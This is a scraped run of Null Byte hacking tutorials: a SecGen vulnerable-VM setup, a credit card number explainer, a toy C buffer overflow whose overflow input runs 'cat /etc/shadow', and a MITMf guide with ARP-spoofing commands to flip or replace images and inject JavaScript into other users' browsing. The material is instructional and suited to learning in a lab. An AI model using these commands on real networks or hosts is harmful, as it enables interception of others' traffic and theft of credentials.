put together a vulnerable machine as an individual, this wait is painless.Looks good. We now have a randomized vulnerable machine. Below, we can see some of the details of our machine.Networking Your Vulnerable Guest OSAs it stands, VirtualBox defaults the machine networking mode to NAT. This isn't going to work for our purposes because while a NAT connected guest will be able to access the internet, it will not be accessible by our host operating system.Image viaVirtualBox ManualWe're going to want to change from NAT to a method that allows us to talk to the VM. Depending on what we want to do, our options are host-only or bridged. Bridged would expose our vulnerable machine to our internal network. This can be a bad thing, so I selected host-only. In VirtualBox, with the machine selected, select "Settings," then select "Network" and change from "NAT" to "Host-only Adapter."This is a safe option for a vulnerable machine. Lastly, we need to find the machine on the network. Usually, you would just log in and check the address, but since this is a boot-to-root, we need to figure out where it is. To do so, we will execute the following command.sudo ifconfigIf you have an issue with ifconfig, you can runapt-get install net-tools.Ifconfig gives us the status of our vboxnet0 adapter, and tells us where to look for our vulnerable machine, in this case the 172.28.128.0/24 address space. Next, let's execute the following command.nmap 172.28.128.0/24 -snNmap should return two results, your host machine, and your guest machine. From here, you should be able to launch your attack on the machine.Don't Miss:How to Conduct Active Reconnaissance & DOS Attacks with NmapDigging a Little DeeperIf you find yourself stuck on a machine, you can have a look at the scenario that was generated for the machine. From within the SecGen repository folder, issue the following command.cd projectsThis directory contains previously generated machines. I only have one machine, so I change directories into that machines directory. Within that directory, there is a scenario.XML file. You can view it with the following command.cat scenario.xml | lessOr, you can alternatively with your favorite text editor, likeVim, by typing the following.vim scenario.xmlI prefer Vim because it offers syntax highlighting.Don't Miss:An Intro to Vim, the Unix Text Editor Every Hacker Should Be Familiar WithIf you're looking for hints, you can also type the following into terminal.cat marker.xml | lessThis will give you hints to help you figure out your randomly generated machine.Step 3: Generating Other ScenariosWriting your own scenarios is out of the scope of this article, but is well-documented atthe SecGen GitHub page. Beyond just generating a random VM with the default scenario, some other scenarios can be passed. An example is below.ruby secgen.rb --scenario scenarios/examples/remotely_exploitable_user_vulnerability.xml runThis will create a VM that has a random remotely exploitable vulnerability. which results in a low privilege compromise.ruby secgen.rb --scenario scenarios/security_audit/team_project_scenario.xml runThis creates a vulnerable set of machines, simulating a mini enterprise structure. SecGen creates an intranet server, a desktop machine, and a web server. These systems can then be configured in such a way as to simulate a breach into an internal network. This is excellent for practicing network pivots.You can find more examples in your ./SecGen/scenarios/examples directory.Stick Around for More on Vulnerable VMsSecGen is an excellent tool to generate vulnerable VMs. The speed and variety make it perfect for students. I'm hoping that as the tool matures, a community will grow around creating scenarios and distributing them. The educational value is definitely there, and my hope is that the project continues on strong!Stay tuned for my following article, in which I will attack my newly generated random VM.Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Barrow/Null ByteRelatedHow To:Attack a Vulnerable Practice Computer: A Guide from Scan to ShellHow To:Create a random pulse machine using stone and redstone in MinecraftHow To:Generate random numbers (integers) in ExcelHow To:Generate random numbers (with decimals) in ExcelHow To:Hack Hackademic.RTB1 Machine Part 1How To:Generate random letters without RANDBETWEEN in ExcelHow To:Create a random frame using Flash and Actionscript 3How To:Use UFONetHow To:Generate random numbers not divisible by 3 in ExcelHow To:Build a working slot machine in MinecraftHow To:Discover XSS Security Flaws by Fuzzing with Burp Suite, Wfuzz & XSStrikeHow To:Diceware Gives You Truly Random Yet Easy-to-Memorize PasswordsHow To:Build a random number generator in Java programmingHow To:Generate Word-Lists with Python for Dictionary AttacksHow To:Hack Coin-Operated Laudromat Machines for Free Wash & Dry CyclesNews:Public Bathroom Fiasco7/6- Tues Pick:Fol Chen / Baths / Random Patterns / PNews:Minecraft World's Weekly Workshop: Reverse Engineering Minecraft Cake DefenseHow To:Make a Programmable Piano in MinecraftNews:old man and the bloody poolNews:Fast Food WarHow To:7 Random Uses for Used Tea BagsNORTHWAY Games:Cool Indies by a Restless Company on the RoadNews:Networking Virtual Machines Using VDENews:New Maintenance Videos!News:It's contest time! That means FREE stuff!GTA 4:Nose Picks, Cops, and CokeNews:Save Me!News:Phone Number TatsHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Create an Automatic Cobblestone Generator in MinecraftHow To:Make a Soda MachineNews:Mindstorms Aircraft Factory
How Credit Card Algorithms Work: The Anatomy of Credit Card Numbers « Null Byte :: WonderHowTo
Have you ever wondered how credit card numbers work? I mean, how theyreallywork? How do they come up with the numbers? Credit cards actually follow a very specific pattern. Let's take a look at how they're set up.Example of a Credit Card Number4485 3151 5882 2849These numbers are split up into various parts that identifiy different things about the credit card (who issued it, etc). These things are: major industry identifier, bank issuer ID, user ID and check number. They correspond to these parts of the number:Number 1 is theMII.Numbers 2-6 are theissuer ID, telling which bank the card is from.Numbers 7 to n-1 are theuser ID.The last number is acheck numberto make the number valid against the checking algorithm.MMIThe major industry identifier tells you what the card is for. Here are the numbers and corresponding meanings.MMI/Digit Value Category0= ISO/TC 68 and other industry assignments1= Airlines2= Airlines and other industry assignments3= Travel and entertainment4= Banking and financial5= Banking and financial6= Merchandising and Banking7= Petroleum8= Telecommunications and other industry assignments9= National assignmentIssuer IDThe issuer ID is for identifying which bank owns the card. Here are the bigger companies numbers.Issuer IdentifierCard NumberLengthDiner's Club/Carte Blanche   300xxx-305xxx, 36xxxx, 38xxxx14American Express                   34xxxx, 37xxxx15VISA                                        4xxxxx13, 16Mastercard                              51xxxx-55xxxx16Discover                                  6011xx                                                  16As you can tell from this chart, my example number is a VISA card.User IDThis number is pretty self-explanatory. The user ID is the identification for who owns the card. With VISA, each bank has 999,999,999 possible card holders. These are given based on availability.Check NumberTo ensure that credit card numbers are valid, a final checking number is appended to each number to ensure that it passes a checking algorithm, otherwise known as theLuhncheck. Let's check to see if my fake number above is a valid credit card number.Checking Number ValidityLet's split up the number I made so that we have an easier time managing the number check.4 4 8 5             3 1 5 1              5 8 8 2                 2 8 4 9From the back, double every other number.8 4 (16) 5        6 1 (10) 1         (10) 8 (16) 2       4 8 8 9After, we have to de-concatenate the double-digit numbers and then add them to make one single digit.8 4 7 5             6 1 1 1              1 8 7 2                 4 8 8 9If you add all of the numbers together and they add up to a multiple of10, you have a valid credit card number! If you have any questions, be sure to leave them in the comments below.Follow and Chat with Null Byte!TwitterGoogle+IRC chatWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto byAndres RuedaRelatedHow To:Get Unlimited Free Trials Using a "Real" Fake Credit Card NumberHow To:MagSpoof Digitally Clones the Magnetic Stripe of Any Credit CardHow To:Flaw in Hilton's Rewards Program Allows You to Achieve Instant HHonors Gold Status for FreeHow To:Auto-Fill Credit Card Forms Using Your iPhone's Camera in iOS 8How To:Add a Bank Account, Debit Card, or Credit Card to Your PayPalHow To:Add & Remove Debit & Credit Cards for Apple Pay on Your iPhoneHow To:Hack RFID enabled credit card & steal money for cheapHow To:No Knife? Use Your Credit Card to Cut Food InsteadNews:The Best Black Friday Deals on Android Phones from Best Buy, Walmart & MoreHow To:Make the Platonic Solids Out of Playing CardsHow To:Change Your Default Card for Apple Pay So You Never Have to Choose During CheckoutApple Pay Cash 101:What You Need to Get StartedHow To:Apply for Apple Card Right from Your iPhoneHow To:How Hackers Stole Your Credit Card Data in the Cyber Attack on Target StoresHow To:Hack a Skype PasswordHow To:Pack your wallet for an itnernational tripHow To:Send & Receive Apple Pay Cash via Messages on Your iPhoneHow To:Transform Gift Card Balances into Cash from Any ATM with Google WalletApple Pay Cash 101:How to Add Money to Your Card BalanceHow To:Say "Can I use my credit card here?" in ChineseNews:Here's Everything You Should Know About Samsung PayApple Pay Cash 101:The Fees, Limits & Fine Print You Need to Know AboutHow To:Upload, Buy, Send, Receive, & Redeem Almost Any Gift Card on Your PhoneHow To:Unlock a Door with a Credit CardHow To:Build web credit card validation with Ruby on RailsCES 2015:Wocket Digitizes All the Cards in Your Wallet into One Single, Secure CardHow To:Calculate the number of periods it takes to pay off a credit card in ExcelNews:1.5 Million Credit Cards Hacked in the Global Payments Breach: Was Yours One of Them?How To:15 Clever Uses for Expired Debit, Credit, Gift, and Membership CardsHow To:Tell Whether a Credit Card Number Is Valid Just by Looking at ItHow To:Securely & Anonymously Spend Money OnlineHow To:Skip the Pre-Menu Credits in Deus Ex: Human RevolutionThe Job Board:Best all-time job postingHow To:Design Your Own Playing Card SculptureHow To:Exchange Gift Cards for Facebook CreditsGreat Deal:Free Facebook Timeline Business CardsNews:Unmasked caller IDNews:Unmasked caller IDNews:Secure your Wizard Booty!Deal Alert:Get a Free Wireless Charger from Samsung
Hack Like a Pro: How to Build Your Own Exploits, Part 2 (Writing a Simple Buffer Overflow in C) « Null Byte :: WonderHowTo
Welcome back, my amateur hackers!Over the course of the next year, we will be developing our own zero-day exploits. In my first article inthis series, I introduced you tobuffer overflows, which are the source of some of the most lethal exploits, particularly the "remote code execution," so we are focusing our exploit development here on a buffer overflow.Developing your own exploits requires considerable knowledge and skill, so this series will toggle between providing you background material and information and labs to test and expand your skills.In this tutorial, we will build a simple buffer overflow to demonstrate how a buffer overflow can work. We will build a short, simple program in C, compile it, run it successfully, and then attempt to overflow its buffer and get our own code to run. Although it is far from a sophisticated exploit, I think it demonstrates well what we are trying to achieve in developing our buffer overflow exploit.Step 1: Open Up LeafpadFirst, fire upKaliand open a text editor for entering our code. In my case, I'll be using Leafpad, but you can use any text editor you want. To open Leafpad, go to Applications -> Accessories -> Leafpad.Step 2: Write the CodeI have developed a small bit of code that will enable us to overflow a memory buffer and run our own commands on the system. It is not meant to be used as an exploit, but rather to simply demonstrate the principle of buffer overflows that we will be building into our zero-day exploit.Now, enter the following code as shown below.In the screenshot below, I have highlighted our two variables we will be using in this code;char *placechar *systemcommandWe have declared them below both "char" or character type variables.Next, we have allocated memory for each variable using the malloc (memory allocation) command.After the memory allocation, we have two "printf" statements that print the memory locations of the two variables. The third printf below then calculates the number of bytes between the two memory locations of our variables.The fourth printf then asks the user "Where is the best place to learn hacking on the web?" followed by the "gets" function that puts the users response into the variable "place."This is then followed by another printf function that prints the statement "The best place to learn hacking on the web is" followed by the user's response. Of course, the user will respond with "Null Byte"... what else?Finally, the last line executes whatever is in the "systemcommand" variable. If the variable is empty, then no command is executed.Finally, let's save this file asbufferoverflow.c.Step 3: CompileThe next step is to compile our new program. Compiling is the process of converting our source code, in this case C, into machine code. It's required whenever we write code in a compiled language, unlike say, Python, that is an interpreted language (interpreted languages are converted to machine language on the fly at run-time, line by line, and are thereby slower).We need to use the GNU C Compiler (gcc) on the file bufferoverflow.c and output (-o) the compiled to a new file named "bufferoverflow" or whatever you choose to call it.kali> gcc bufferoverflow.c -o bufferoverflowThis may produce a few errors, but you can largely ignore those.Step 4: Run the ProgramNow, let's run our little "bufferoverflow" program.kali > ./bufferoverflowNotice that it first responded with the memory location of our variable "place," and then the memory location of our variable "systemcommand," and third it calculates that there are 16 bytes between these two memory locations. It then prompts the user for "the best place on the web to learn hacking" and, of course, the user responds "Null Byte." Finally, our little program responds with the obvious truth "The best place to learn hacking is Null Byte."Step 5: Overflow the BufferNow, let's run this program and try to overflow the memory area for the variable "place" into the memory area for "systemcommand." If we can overflow that memory area into the variable "systemcommand," we should be able to execute any system command on the system. For instance, we might be able to execute a command shell or display the contents of the/etc/shadowfile.We know from the third printf statement, the space between the "place" variable and the "systemcommand" variable is 16 bytes. This means that if we enter more than 16 ASCII characters (each ASCII character is one byte) when prompted, starting with the 17th character, whatever we input will move into the next variable, in this case, "systemcommand."Let's now enter the following when prompted:kali> nnnnnnnnnnnnnnnncat /etc/shadowWhen we do this, the first 16 characters will go into the "place" variable and the 17th character and everything after will overflow into the "systemcommand" variable. The final line of our code will then execute the system command variable.Notice that that we have been able to overflow the "place" variable into the "systemcommand" variable and have been able to "cat" the contents of the/etc/shadowfile thereby showing us all the users and their hashed passwords. Congratulations! You have successfully overflowed the buffer and run your own code.Over the course of this year, 2015, we will work step by step toward developing our own zero-day exploit inthis series, so keep coming back, my novice hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:How to Build Your Own Exploits, Part 1 (Introduction to Buffer Overflows)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Exploit Development-Stack Base Buffer Overflow/Part 1(VIDEO)How To:Create a Metasploit Exploit in Few MinutesHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteNews:Test Your Hacking / Exploiting Skills with SmashTheStack!Hacker Hurdles:DEP & ASLRHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreExploit Development:How to Learn Binary Exploitation with ProtostarHow To:The Art of 0-Day Vulnerabilities, Part2: Manually FuzzingHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7Hack Like a Pro:How to Hack Windows 7 to See Whether Your Girlfriend Is Cheating or NotHack Like a Pro:How to Build Your Own Exploits, Part 3 (Fuzzing with Spike to Find Overflows)Advanced Exploitation:How to Find & Write a Buffer Overflow Exploit for a Network ServiceHack Like a Pro:Capturing Zero-Day Exploits in the Wild with a Dionaea Honeypot, Part 2 (Configuration)How To:Security-Oriented C Tutorial 0x14 - Format String Vulnerability Part I: Buffer Overflow's Nasty Little BrotherHow To:Security-Oriented C Tutorial 0x0C - Buffer Overflows Exposed!How To:Attack on Stack [Part 6]; Smash the Stack Visualization: NOP Sled Technique, the End of a Trilogy.Hack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)How To:Writing 64-Bit Shellcode - Part 2 (Removing Null-Bytes)Hack Like a Pro:Exploit MS Word to Embed a Listener on Your Roommate's ComputerHack Like a Pro:Use Your Hacking Skills to Haunt Your Boss with This Halloween PrankHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)How To:Attack on Stack [Part 4]; Smash the Stack Visualization: Prologue to Exploitation Chronicles, GDB on the Battlefield.How To:The Five Phases of HackingWeekend Homework:How to Become a Null Byte ContributorNews:Null Byte Is Calling for Contributors!Weekend Homework:How to Become a Null Byte Contributor (1/12/2012)Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow Null Byte Injections Work:A History of Our NamesakeRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+News:Day 2 Of Our New WorldHow To:The Hacks Behind Cracking, Part 2: How to Generate Software Keys
Hacking Pranks: How to Flip Photos, Change Images & Inject Messages into Friends' Browsers on Your Wi-Fi Network « Null Byte :: WonderHowTo
Networking is built largely on trust. Most devices do not verify that another device is what it identifies itself to be, so long as it functions as expected. In the case of a man-in-the-middle attack, we can abuse this trust by impersonating a wireless access point, allowing us to intercept and modify network data. This can be dangerous for private data, but also be fun for pranking your friends.In this case, we'll be intercepting and manipulating traffic from within a local area network, often times a Wi-Fi network connected to a wireless router. Keep in mind that a man-in-the-middle (MitM) attack still involves intercepting and modifying traffic, and without permission, this could be illegal depending on your jurisdiction.Step 1: Install the PrerequisitesThe primary tool we'll be using to intercept and modify network traffic in this guide is the Man-in-the-Middle Framework, better know asMITMf. It's intended for use onLinuxbut could be potentially compiled for use on macOS or Windows. It's a command-line tool, so we'll have to learn a bit about how it works to use it.Don't Miss:How to Conduct a Simple Man-in-the-Middle AttackWe can find it available in the repositories of several distributions, including Kali Linux and BlackArch. After searching to confirm package availability withapt-cache search mitmf, we can install MITMf usingapt-get, as seen in the example below.sudo apt-get install mitmfWe may also wish to install the "mitmflib" package if there are any library errors during use of MITMf. You can do so using a similar command.If we wish to build MITMf from source, we can download a copy fromGitHubby running the following in a terminal window.git clonegithub.com/byt3bl33d3r/MITMfIf you run into any issues with dependencies, the rest of the utilities needed for MITMf can be installed by running the setup script. To do so, we will initialize and clone the submodules and install any needed dependencies by copying the text below into a terminal window.cdMITMf && git submodule init && git submodule update --recursivepip2 install -r requirements.txtIf these commands fail or display errors, there may be a need to individually find and install dependencies for the framework. Afull manual installation guideis available on the developer's GitHub.The lines above will install MITMf within the directory the git repository was cloned into. If MITMf is installed using this method, the tool will also need to be run from within this same folder. The script can be run by calling Python directly withpython2and specifying the script name, as shown below.sudo python2 mitmf.pyIf MITMf is installed in its own folder, all of the commands within this tutorial will need to be run with the command above, rather than simply by runningmitmf.Step 2: Configure MITMfAfter installing MITMf, we can confirm its functionality by requesting the help page. Do so by typing the command below. The program must be run as the superuser, either by being logged in as "root" or by usingsudoas shown. If the help page is returned successfully, we can begin to add our usage parameters.sudo mitmf --helpThe first flag we'll want to select is our-iflag, or network interface. We can list our available network interfaces usingifconfig, run without arguments.If we're running this in a virtual machine, we will see the software adapter bridge which the VM is connected over, as well as the loopback adapter. Assuming that the VM is on a machine which is successfully connected to the network, the adapter in use should be functional for running MITMf.In the case above, the network adapter is eth0. On a machine directly connected to the network, this would indicate that the connection is over the Ethernet adapter. Over a wireless connection, the adapter is more likely to be wlan0 or a similarly titled adapter.In the example of the host machine below, the machine has both wireless and Ethernet adapters available, referred to as eth0 and wlan0, respectively.Once we've identified the name of the adapter connected to the network we intend to target, we can add this to our MITMf parameter string without running it yet. In this case, we'll use wlan0.sudo mitmf -i wlan0Next, we'll want to identify our network gateway IP, or the address of the router within our network. We can do this a number of ways, one of which is by usingnetstat.netstat -rnDon't Miss:How to Know if You've Been Hacked (Advice from a Real Hacker)After identifying the IP of the router by locating it under theGatewaycolumn and the appropriateInterfacerow, we can add the argument to our MITMf string. In most cases, the router address will be similar to 192.168.0.1 or 192.168.1.1.--gateway 192.168.0.1Finally, if we wish to choose a specific target on the network, we can scan for their IP address within the network usingarp-scanandnbtscanin another terminal window. Nbtscan can be run using the potential network range as an argument, as seen in the example below using every host including and between 192.168.0.1 and 192.168.0.255.nbtscan 192.168.0.1-192.168.0.255When running an arp-scan, we can use the-lflag to view network devices, as seen below.arp-scan -lIf one of these MAC addresses or hostnames match that of our target device, we can specify that IP later as an argument.Step 3: Flip the Internet Upside-DownWith our network now explored, we can add our arguments to our MITMf command string and run the plugins of our choice.In this case, we follow the-iwith the network interface we wish to use, such as wlan0. We indicate we wish to use thespoofandarpplugins before specifying our network gateway after the--gatewaypart of the string. Finally, we add--upsidedownternetto use the Upsidedownternet plugin. This plugin will flip all images possible upside-down before forwarding them on to the user.After putting it together, your string should look something like below.sudo mitmf -i wlan0 --spoof --arp --gateway 192.168.0.1 --upsidedownternetNow, you can run it by pressing enter and observe the result. On our side, we will be able to see a log as images are flipped.On the target device, however, all that will be seen is a load of upside-down images.Step 4: Replace Every ImageMuch like the attack above, we can also attempt to intercept every image and replace it with one of our choice or a random image from a folder. First, we'll want to prepare a folder of images, as we'll need to specify this folder as an argument for the command.We can download a whole set of images straight from a Google Search by using "Save Page As" and selecting "Web Page, complete."While the images downloaded using this method will be mixed in filetype, we can move all images with matching extensions to a subdirectory. From the command line,cdinto the folder containing the images and make the directory withmkdir images.Next, move all of the matching image files into this subdirectory with themvcommand below.mv *.jpg images/After all the usable images are in the same directory, you can sort through them and delete the ones which we do not wish to keep.Don't Miss:Managing Directories & Files in LinuxNow, we can use this folder as an argument in our MITMf command. Keep in mind that the full directory path is needed, so rather than just /images, we'll need to specify /home/user/images or wherever your folder is located.The full string will look something like the one below.sudo mitmf -i wlan0 --spoof --arp --gateway 192.168.0.1 --imgrand --img-dir /home/user/images/We can also target a specific device by adding a "target" IP address to the command, as seen below.sudo mitmf -i wlan0 --spoof --arp --gateway 192.168.0.1 --target 192.168.0.2 --imgrand --img-dir /home/user/images/Once run, we'll be able to log and view the MITMf activity.On the client, all images will be replaced by whatever scary images we decide they deserve to see.The attack, implemented as above, should be used with caution, as it could cause the internet to become too downright spooky for any mere human to use without being crippled by fear.Step 5: Inject HTML & JavaScriptWe can inject code into the victim's webpages, rather than just manipulating their images. To do this, we use the injection plugin, combined with a specified JavaScript or HTML file, located either at a URL or at a file path. In this example, we'll use the--injectflag combined with a JavaScript file using--js-filebelow.sudo mitmf -i wlan0 --spoof --arp --gateway 192.168.0.1 --inject --js-file /home/user/script.jsBefore running this command, we'll need to create a JavaScript or HTML file to inject. If this wasn't a prank, we just as easily carry a BeEF JavaScript hook in this payload or something custom created.Don't Miss:Hook Web Browsers with MITMf & BeEFTo test JavaScript functionality for now, we can use a simple alert.alert("HACKED");This code will open an alert window containing the text "Hacked" on any website the user connect to over the network which is capable of being injected. We can save this file as "script.js" or any other file name, so long as it's referred to in the MITMf command used. When run, this script will be injected into the target's web requests.While this establishes functionality for the sake of a prank or annoyance, a personal favorite is injecting an automatically playing audio file. Once again, this will be saved as a specific script file and added to the MITMf command.new Audio('URL').play()In this string,URLcan be replaced with the web location of an audio file such as an MP3. This audio file will play automatically on every page the user opens and could be near impossible to trace the origin of. As before, the modifications will be logged to the console.Protecting Yourself from MitM AttacksAs much fun as MITM attacks are to conduct, they present a real privacy concern and danger. The most effective protection against this variety of attack is standard network security and being aware of who is present on a network. We can use the network scanning techniques introduced in Step 1 to identify who is present on a network and to discover potential rogue devices on your network.MitM attacks are fundamentally only possible if someone is allowed in between the client and server of a request. Astrong network passwordenforced withWPA2 securitycan enforce that only authorized users are allowed to connect, as can the protection of an entirely wired network.Don't Miss:How to Create Stronger Passwords (Advice from a Real Hacker)Beyond local networks, careful use of end-to-end encryption means that even when traffic is captured, it cannot be deciphered. One step is to enforce HTTPS usingHTTPS Everywhere. Even with these precautions used, public networks will continue to be untrustworthy, and websites will continue to fail to implement encryption. Hackers will continue to be able to hack networks ... or perhaps, just prank them.Thanks for reading! If you have any questions, you can leave a comment below or reach out to me on [email protected] to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by TAKHION/Null ByteRelatedWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Easily Share Your Wi-Fi Password with a QR Code on Your Android PhoneHow To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow To:Share Your Wi-Fi Password with a QR Code in Android 10How To:Inject Coinhive Miners into Public Wi-Fi HotspotsHow To:Can't Log into Hotel Wi-Fi? Use This App to Fix Android's Captive Portal ProblemHow to Hack with Arduino:Tracking Which Networks a Mac Has Connected To & WhenHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Recover Forgotten Wi-Fi Passwords in WindowsHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow To:Change Your Wallpaper Automatically by Time, Day, Location & MoreHow To:Recover a Lost WiFi Password from Any DeviceAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Google Photos Waiting for Wi-Fi? Here's the FixHow To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow To:The Easiest Way to Share Your Complicated WiFi Password with Friends & Family—No Typing RequiredHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Connect to Protected Wi-Fi Hotspots for Free Without Any PasswordsHow To:Hack Wi-Fi Networks with BettercapHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:The Ultimate Guide to Hacking macOSHacking Android:How to Create a Lab for Android Penetration TestingHow To:The Fastest Way to Share Large Files from a Nexus 7 to a Samsung Galaxy S3 or Other Android DeviceGoogle Chrome 101:How to Play the Hidden Dinosaur Mini-Game on Your iPhone or Android PhoneHow To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow To:Make Your Android Automatically Switch to the Strongest WiFi NetworkHow To:Find Saved WiFi Passwords in WindowsHow To:Fix Cellular & Wi-Fi Issues on Your iPhone in iOS 12How To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:Get Free Wi-Fi from Hotels & More
13 Black Friday Deals on Courses That Will Beef Up Your Hacking & Programming Skill Set « Null Byte :: WonderHowTo
It's Black Friday time, and in 2020, that means a lot of online deals to make up formore stores closing on Thanksgiving, as well as everyone avoiding in-person shopping because of the coronavirus. But while you may wish to grab a better65-inch 4K TV, the newPlayStation 5, or some hacker hardware on sale, Black Friday is also the best time to invest in your programming and cybersecurity education.Whether you're a new Null Byte reader, IT specialist, professional pentester, amateur white hat, or anyone interested in programming languages, coding, and ethical hacking, we've got some great deals on learning packagesin the Null Byte Shop. There are big discounts on all of our cybersecurity packages, but the 13 below are the ones that really shine. Deals are live right now, so you don't even have to wait until Black Friday to win.1. The Complete 2020 Learn Linux BundleHaving knowledge of Mac and PC is the baseline when it comes to forging a career in programming, but if you're a hacker, it pays to learn Linux above all else. This bundle contains 12 courses packed with hundreds of hours of lectures on the operating system, its processes, and a whole lot more.Get it on sale for only $59.2. The Ultimate 2020 White Hat Hacker Certification BundleIf you're looking to focus on ethical hacking specifically, this 98-hour master class covers everything from anonymous browsing to CompTIA Cybersecurity certification prep. All in all, you'll gain access to 10 different courses taught by highly-rated instructors with first-hand experience working in cybersecurity.For a limited time, it's on sale for just $39.90.3. The Ultimate Raspberry Pi & ROS Robotics Developer Super BundleIf you hadn't noticed, we love theRaspberry Piandother microcontrollerson Null Byte because of all the fun things you can do with them. You can even make one a portable hacking machine! This bundle gives you the knowledge needed to become a Pi pro, from the basics to working with Arduino and building your own projects. From there, it takes you through advanced Pi builds with robotics, security cameras, and more.Don't miss this deal, on sale for $49.99, which is 97% off its full price.4. Speedify 10 Bonding VPN: 3-Yr SubscriptionYou probably don't need any more reminders that a VPN is vital when going online. But if you're going to use a VPN, go for Speedify, a connectivity tool and VPN that lets you use all of your internet connections at once. It uses channel bonding technology that distributes your online traffic across all available connections for optimal performance, and as a result, everything you do, including browsing, streaming, and downloading, can be accelerated even further.Grab a three-year subscription for only $59.99.5. Python for Beginners: The Basics for Python DevelopmentPython is lauded for being useful in machine learning, data modeling, and artificial intelligence, but from a Null Byte perspective, it's a hacker's best friend. Some of the best beginner-friendly hacking projects are built with Python — even more elaborate ones. If you want to have a basic grasp of the language, this bundle will fill you in on its fundamental concepts. You'll learn the basic functions of Python, as well as its essential applications.Get it on sale for $14.99.6. The Master Cyber Security 65+ Course Certification BundleCybersecurity is now more important than ever, with more people flocking to the web than outside their own front doors. You can capitalize on the need by mastering cybersecurity skills that matter in the new normal: CompTIA, OWASP, CISSP, EC-Council, ISACA, AWS, and Azure. If you want to go beyond Null Byte and get a professional career, it's a good place to start.Get it on sale for only $29.99.7. The Comprehensive Game Development BundleGames and hackers go together likechocolate wafers and sweet crème filling. Games are swarming with people on Black Friday to get the best deals, and if you want people to go crazy over yours, this bundle is packed with 19 hours of quick, practical instruction on Unity, Unreal, HTML5, and Python so you can create your own bestselling games from scratch.It's typically $1,990, but for Black Friday, it's on sale for $39.99.8. Python for Everyone CourseIf the Python course listed above was too intimidating for you, this learning package is even more beginner-friendly. It will give you the chance to work on mini-projects using Python even without prior coding experience. Instead of overwhelming you with content, it will give you step-by-step instruction that makes sense to someone still learning the basics of programming.For a limited time, it's on sale for $14.99.9. The Complete One-Hour Coder BundleIf you're unsure what programming language you should learn first, this bundle features one-hour crash courses on C++, CSS, HTML, JavaScript, and Python. It may not offer extensive discussions, but it at least gives you the basics of each programming language so that you can figure out which one you should learn in more detail next.You can get the bundle on sale for only $34.99 for a limited time.10. The Ethical Hacker Master Class BundleThis 10-course bundle features courses by CyberTraining 365, a training destination that specializes in analyzing malware, penetration testing, and more. You'll be in good hands throughout the massive 180+ hours of instructional content where you'll learn the phases of threat intelligence and how to stop black hat hackers in their tracks.Grab your copy on sale for just $39 while you can.11. The Ultimate Python & Artificial Intelligence Certification BundleIf you already know a thing or two about Python and want to take a deep dive into the language, this bundle lets you elevate your programming and web development skills with 38 hours of content on advanced Python concepts, along with Keras and PyTorch, frameworks that are essential in AI.Usually $1,791, it's 